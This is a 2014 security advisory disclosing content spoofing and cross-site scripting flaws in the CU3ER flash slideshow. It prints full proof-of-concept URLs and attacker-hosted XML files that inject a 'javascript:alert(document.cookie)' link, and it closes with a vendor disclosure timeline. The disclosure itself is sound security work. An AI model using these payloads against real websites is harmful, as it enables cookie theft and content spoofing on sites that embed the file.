SecurityvulnsSECURITYVULNS:DOC:30597CS and XSS vulnerabilities in CU3ER
Hello 3APA3A!
These are Content Spoofing and Cross-Site Scripting vulnerabilities in CU3ER. Which I found in October 2013 at one web site. This is popular flash file and in Google's index there are up to million web sites with it (near 1060000 sites in October, now near 717000 sites).
In last years I wrote about similar vulnerabilities in millions of flash files (on hundreds millions of web sites), including in different flash video and audio players, such as FLV Player, flvPlayer, moxieplayer, JW Player, JW Player Pro, CorePlayer, jPlayer, VideoJS, GDD FLVPlayer, flv-player, mp3-player and Dewplayer.
Affected products:
Vulnerable are CU3ER 1.24 and previous versions.
Affected vendors:
MADEBYPLAY
http://getcu3er.com
Details:
Content Spoofing (Content Injection) (WASC-12):
http://site/cu3er.swf?xml=http://site2/1.xml
File 1.xml:
<?xml version="1.0" encoding="UTF-8"?>
<cu3er>
<slides>
<slide>
<url>1.jpg</url>
<link>http://websecurity.com.ua</link>
</slide>
</slides>
</cu3er>
Cross-Site Scripting (WASC-08):
http://site/cu3er.swf?xml=http://site2/xss.xml
File xss.xml:
<?xml version="1.0" encoding="UTF-8"?>
<cu3er>
<slides>
<slide>
<url>1.jpg</url>
<link>javascript:alert(document.cookie)</link>
</slide>
</slides>
</cu3er>
For cross-domain attacks it's needed to have crossdomain.xml at web site with xml-files.
These are examples of CS and XSS attacks on version CU3ER 0.9.2. For the last version 1.24 it's needed different xml-files and different parameter is set to flash-file.
CS (WASC-12):
http://site/cu3er.swf?xml_location=http://site2/1.xml
File 1.xml:
<data>
<project_settings>
<width>800</width>
<height>600</height>
</project_settings>
<settings>
<folder_images>/</folder_images>
<start_slide>1</start_slide>
<auto_play>true</auto_play>
<randomize_slides>false</randomize_slides>
<pause_on_rollover>true</pause_on_rollover>
</settings>
<preloader type="linear" align_pos="MC" width="200" height="20" x="0" y="0">
</preloader>
<controls>
<prev_button align_pos="BR" width="30" height="30" x="-51" y="-20">
<auto_hide time="3">false</auto_hide>
<hide_on_transition>true</hide_on_transition>
<background round_corners="15,0,0,15">
<tweenShow tint="0xffffff" alpha="0.2" x="0" y="0" scaleX="1" scaleY="1"/>
<tweenOver tint="0xffffff" alpha="0.9" x="0" y="0" scaleX="1" scaleY="1"/>
<tweenHide tint="0xffffff" alpha="0" x="0" y="0" scaleX="1" scaleY="1"/>
</background>
<symbol type="2" align_pos="MC" x="0" y="0">
<tweenShow alpha="1" scaleX="0.3" scaleY="0.3" tint="0x2185c5"/>
<tweenOver tint="0x2185c5" scaleX="0.4" scaleY="0.4" alpha="1" x="0" y="0"/>
<tweenHide tint="0x2185c5" scaleX="0.2" scaleY="0.2" alpha="0" x="0" y="0"/>
</symbol>
</prev_button>
<next_button align_pos="BR" width="30" height="30" x="-20" y="-20">
<auto_hide time="3">false</auto_hide>
<hide_on_transition>true</hide_on_transition>
<background round_corners="0,15,15,0">
<tweenShow tint="0xffffff" alpha="0.2" x="0" y="0"/>
<tweenOver tint="0xffffff" alpha="0.9"/>
<tweenHide tint="0xffffff" alpha="0"/>
</background>
<symbol type="2" align_pos="MC" x="0" y="0">
<tweenShow alpha="1" scaleX="0.3" scaleY="0.3" tint="0x2185c5"/>
<tweenOver tint="0x2185c5" scaleX="0.4" scaleY="0.4" alpha="1" x="0" y="0"/>
<tweenHide tint="0x2185c5" scaleX="0.2" scaleY="0.2" alpha="0" x="0" y="0"/>
</symbol>
</next_button>
</controls>
<defaults>
<slide time="5" color="0x000000">
<image align_pos="MC" x="0" y="0" scaleX="1" scaleY="1"/>
<link>http://websecurity.com.ua</link>
</slide>
</defaults>
<slides>
<slide>
<url><![CDATA[1.jpg]]></url>
</slide>
<transition rows="3" columns="5"/>
<slide>
<url><![CDATA[1.jpg]]></url>
</slide>
</slides>
</data>
File xss.xml:
XSS (WASC-08):
http://site/cu3er.swf?xml_location=http://site2/xss.xml
<data>
<project_settings>
<width>800</width>
<height>600</height>
</project_settings>
<settings>
<folder_images>/_/Security/</folder_images>
<start_slide>1</start_slide>
<auto_play>true</auto_play>
<randomize_slides>false</randomize_slides>
<pause_on_rollover>true</pause_on_rollover>
</settings>
<preloader type="linear" align_pos="MC" width="200" height="20" x="0" y="0">
</preloader>
<controls>
<prev_button align_pos="BR" width="30" height="30" x="-51" y="-20">
<auto_hide time="3">false</auto_hide>
<hide_on_transition>true</hide_on_transition>
<background round_corners="15,0,0,15">
<tweenShow tint="0xffffff" alpha="0.2" x="0" y="0" scaleX="1" scaleY="1"/>
<tweenOver tint="0xffffff" alpha="0.9" x="0" y="0" scaleX="1" scaleY="1"/>
<tweenHide tint="0xffffff" alpha="0" x="0" y="0" scaleX="1" scaleY="1"/>
</background>
<symbol type="2" align_pos="MC" x="0" y="0">
<tweenShow alpha="1" scaleX="0.3" scaleY="0.3" tint="0x2185c5"/>
<tweenOver tint="0x2185c5" scaleX="0.4" scaleY="0.4" alpha="1" x="0" y="0"/>
<tweenHide tint="0x2185c5" scaleX="0.2" scaleY="0.2" alpha="0" x="0" y="0"/>
</symbol>
</prev_button>
<next_button align_pos="BR" width="30" height="30" x="-20" y="-20">
<auto_hide time="3">false</auto_hide>
<hide_on_transition>true</hide_on_transition>
<background round_corners="0,15,15,0">
<tweenShow tint="0xffffff" alpha="0.2" x="0" y="0"/>
<tweenOver tint="0xffffff" alpha="0.9"/>
<tweenHide tint="0xffffff" alpha="0"/>
</background>
<symbol type="2" align_pos="MC" x="0" y="0">
<tweenShow alpha="1" scaleX="0.3" scaleY="0.3" tint="0x2185c5"/>
<tweenOver tint="0x2185c5" scaleX="0.4" scaleY="0.4" alpha="1" x="0" y="0"/>
<tweenHide tint="0x2185c5" scaleX="0.2" scaleY="0.2" alpha="0" x="0" y="0"/>
</symbol>
</next_button>
</controls>
<defaults>
<slide time="5" color="0x000000">
<image align_pos="MC" x="0" y="0" scaleX="1" scaleY="1"/>
<link>javascript:alert(document.cookie)</link>
</slide>
</defaults>
<slides>
<slide>
<url><![CDATA[1.jpg]]></url>
</slide>
<transition rows="3" columns="5"/>
<slide>
<url><![CDATA[1.jpg]]></url>
</slide>
</slides>
</data>
Timeline:
2013.11.22 - announced at my site.
2013.11.26 - informed developer.
2013.11.28 - developer answered and promised to fix his software. But the last version of CU3ER is still vulnerable.
2014.04.17 - disclosed at my site (http://websecurity.com.ua/6885/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua